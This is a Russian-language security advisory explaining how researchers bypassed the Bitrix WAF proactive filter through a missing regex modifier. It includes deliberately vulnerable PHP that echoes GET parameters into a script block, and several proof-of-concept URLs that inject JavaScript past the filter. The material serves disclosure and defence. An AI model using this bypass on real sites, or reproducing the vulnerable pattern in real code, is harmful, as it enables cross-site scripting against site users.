В Bitrix WAF можно обойти проактивный фильтр


Экспертами компании High-Tech Bridge был обнаружен способ обхода проактивного фильтра (Bitrix WAF), который используется в системе управления сайтами Bitrix Site Manager (Bitrix24). Метод заключается в эксплуатации ошибки в регулярном выражении.

Проводя аудит, исследователи столкнулись с сайтом на базе Bitrix Site Manager с самописным кодом. Данный код содержал множественные XSS-уязвимости, однако встроенный проактивный фильтр существенно затруднял их эксплуатацию. Уязвимый код имел примерно такую структуру:

<script>
    P1='<?=$_GET['P1']?>'; P2=<?=$_GET['P2']?>; P3=<?=$_GET['P3']?>;
</script>

Из выше приведенного кода видно, что XSS присутствуют в трех параметрах. Bitrix WAF успешно блокировал все классические попытки эксплуатации (срабатывали правила, основанные на обработке содержимого страницы post_filter).

Обработка содержимого страницы происходит в следующей функции:

protected function isDangerBody($body)
    {
        if (self::isFoundInString($body, $this->quotedSearches))
        {
            return true;
        }
        else if (!empty($this->searches))
        {
            $bodyWithoutQuotes = $this->removeQuotedStrings($body, false);
            if (self::isFoundInString($bodyWithoutQuotes, $this->searches))
            {
                return true;
            }
        }
        return false;
    }

На вход этой функции попадает содержимое всех JavaScript-кодов на странице. Функция блокирует JavaScript, заменяя его строкой <!-- deleted by bitrix WAF -->) в случае, если:

  • JavaScript-код содержит любую входную переменную с кавычками;
  • JavaScript-код содержит вне строковых выражений (кроме чисел и строк длиной мене трех символов) любую входную переменную без кавычек.


Для второй проверки используется функция removeQuotedStrings:

    public function removeQuotedStrings($string, $isSaveQuotes = true)
    {
        if($isSaveQuotes)
        {
            $this->quotes = array();
            return preg_replace_callback('/(
            "[^"\\\\]*(?:\\\\.[^"\\\\]*)*" # match double quoted string
            ; |
            \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\' # match single quoted string
            )/x', array($this, "pushQuote"), $string);
        }
        else
        {
            return preg_replace('/(
            "[^"\\\\]*(?:\\\\.[^"\\\\]*)*" # match double quoted string
            |
            \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\';# match single quoted string
            )/x', '', $string);
        }
    }

Функция удаляет из анализируемого текста все строки и возвращает для анализа получившийся результат, содержащий исключительно выполняемые конструкции JavaScript. Метод правильно обрабатывает вложенные кавычки и другие символы, последовательности обратных слешей и пр. Однако, из-за отсутствия модификатора "s" в регулярном выражении символ точка будет совпадать со всеми символами, кроме перевода строки. Если после обратного слеша будет стоять перевод строки, то строка не будет захвачена регулярным выражением.

Вход:

    P1='xxx\
    '; P2=11; P3=22;


Выход:

    P1='xxx\
    '; P2=11; P3=22;

Можно проэксплуатировать с помощью PoC-кода

  • test.php?P1=xxx\%0A%0D&P2=11&P3=33


Если добавить еще одну кавычку, метод removeQuotedStrings вернет строку с вырезанной выполняемой частью JavaScript-кода (вместо строк) и позволит обойти вторую часть фильтрации в функции isDangerBody().

Вход:

    P1='xxx\
    ';CODECODE'; P2=11; P3=22;
    P1='xxx\';alert(/ImmuniWeb/)'; P2=11; P3=22;


Выход:

    P1='xxx\
    ; P2=11; P3=22;
    P1='xxx\
    ; P2=11; P3=22;

Однако PoC-код

  • test.php?P1=xxx\%0A%0D';alert(/ImmuniWeb/);'&P2=11&P3=33

не сработает, поскольку параметр P1 содержит кавычку. Из этого следует, что его поиск будет осуществятся по необработанной строке (первая часть фильтрации isDangerBody).

Остаются еще два параметра для манипуляции. В один можно внедрить переводы строки и кавычки, а в другой – выполняемый JavaScript-код. Можно также исключить любой параметр из анализа, сделав его длину менее чем три символа.

Вход:

    P1='\
    '; P2=11; P3=22;
    P1='\
    '; P2=11; P3=';
    P1='\
    '; P2=CODECODECODE; P3=';
    P1='\
    '; P2=alert(/ImmuniWeb/); P3=';


Выход:

    P1='\
    '; P2=11; P3=22;
    P1='xxx\
    ;
    P1='xxx\
    ;
    P1='xxx\
    ;

В случае отсутствия кавычек из анализа проактивного фильтра параметр P2 исключается полностью. Последней строке таблицы соответствует PoC-код

  • test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3='


С целью избежать синтаксической ошибки в JavaScript-коде в последний параметр нужно добавить еще одну кавычку. PoC-код

  • test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3=''

будет соответствовать следующему коду HTML:

<script>
    P1='\
    '; P2=alert(/ImmuniWeb/); P3='';
</script>

Данный JavaScript-код является корректным, а PoC-код не блокируется проактивным фильтром. Значения P1 и P3 не подвергаются анализу, поскольку их длина менее трех символов. Вследствие описанной выше ошибки в регулярном выражении значение параметра P2 целиком исключается из анализа в случае отсутствия кавычек.


Обновлено (03.02.2016 21:57)